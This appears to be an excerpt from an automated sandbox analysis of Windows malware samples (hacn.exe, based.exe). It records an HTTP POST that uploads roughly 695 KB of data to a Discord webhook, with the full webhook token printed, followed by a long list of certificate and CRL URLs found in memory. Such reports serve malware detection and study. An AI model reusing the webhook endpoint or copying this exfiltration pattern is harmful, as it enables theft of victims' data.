HTTP traffic detected: POST /api/webhooks/1334027615660413021/mDHVQmNFf8BFu7yXIRFDHvtVangmuzWFjeWdcr8C23a98RYUVY2N7mDF6Q3pb4vBIbp4 HTTP/1.1Host: canary.discord.comAccept-Encoding: identityContent-Length: 695655User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=26c74c2f8d1f4d80aae715ce36e17e3b

Source: hacn.exe, 0000000D.00000002.1609204877.00000243EE730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: hacn.exe, 0000000D.00000002.1618350771.00007FFB021B5000.00000002.00000001.01000000.0000002C.sdmp	String found in binary or memory: http://.css
Source: hacn.exe, 0000000D.00000002.1618350771.00007FFB021B5000.00000002.00000001.01000000.0000002C.sdmp	String found in binary or memory: http://.jpg
Source: hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317380900.000001ECA624F000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316285802.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317675891.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316662769.000001C577E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: based.exe, 0000000C.00000003.1585988934.0000021B5C6E0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1725510737.0000021B5C6E0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6D3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1468182488.0000021B5C6D7000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6D7000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1599284571.00000243EE3B8000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590958342.00000243EE3AF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1592517331.00000243EE3B3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583975958.00000243EEA9F000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583771899.00000243EEA95000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: hacn.exe, 0000000D.00000003.1578423259.00000243EDFBA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1594280315.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE2A2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1586736139.00000243EDFDE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598934549.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587927350.00000243EDFDF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598180533.00000243EDFE1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: hacn.exe, 0000000D.00000003.1580310124.00000243EEA05000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579672686.00000243EE9F8000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1599644041.00000243EE35E000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590112341.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: hacn.exe, 0000000D.00000003.1580523962.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1599644041.00000243EE35E000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590112341.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlR&
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583975958.00000243EEA9F000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583771899.00000243EEA95000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlb
Source: hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl~
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1585612097.00000243EE3E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: hacn.exe, 0000000D.00000003.1586562096.00000243EE987000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1585612097.00000243EE3E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: hacn.exe, 0000000D.00000003.1586562096.00000243EE987000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: hacn.exe, 0000000D.00000003.1585612097.00000243EE3E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: hacn.exe, 0000000D.00000003.1578423259.00000243EDFBA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1586736139.00000243EDFDE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587927350.00000243EDFDF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598180533.00000243EDFE1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317380900.000001ECA624F000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316285802.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317675891.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: based.exe, 0000000B.00000003.1315289126.000001C577E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SH
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: based.exe, 0000000B.00000003.1316056364.000001C577E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
